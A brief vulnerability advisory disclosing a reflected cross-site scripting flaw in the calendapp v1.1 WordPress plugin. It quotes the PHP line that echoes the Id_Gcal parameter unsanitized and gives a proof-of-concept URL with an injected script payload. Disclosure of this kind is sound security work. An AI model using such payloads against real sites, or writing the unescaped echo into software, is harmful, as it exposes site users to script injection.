Advisory #: 41
Title: Reflected XSS in wordpress plugin calendapp v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/calendapp
Downloads: 786
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: calendapp
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./calendapp/Insert_event.php: 102: <td><input type="hidden" value="<?php if (isset($_GET["Id_Gcal"])) echo $_GET["Id_Gcal"]; ?>" id="Id_evento" /></td> The variable Id_Gcal appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./calendapp/Insert_event.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/calendapp/Insert_event.php?Id_Gcal="><script>alert(1);</script><"